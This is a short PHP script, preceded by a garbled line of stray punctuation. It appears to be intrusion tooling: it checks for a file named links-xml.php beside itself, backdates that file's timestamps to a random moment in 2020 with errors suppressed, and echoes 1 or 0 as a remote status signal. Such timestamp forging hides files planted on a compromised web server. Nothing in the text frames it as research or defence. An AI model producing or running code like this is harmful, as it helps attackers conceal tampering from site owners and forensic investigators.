（*（…………%
<?php
$f = dirname(__FILE__) . '/links-xml.php';
if (is_file($f)) {
    $ts = mktime(mt_rand(0,23), mt_rand(0,59), mt_rand(0,59), mt_rand(1,12), mt_rand(1,28), 2020);
    @touch($f, $ts, $ts);
    echo '1';
} else {
    echo '0';
}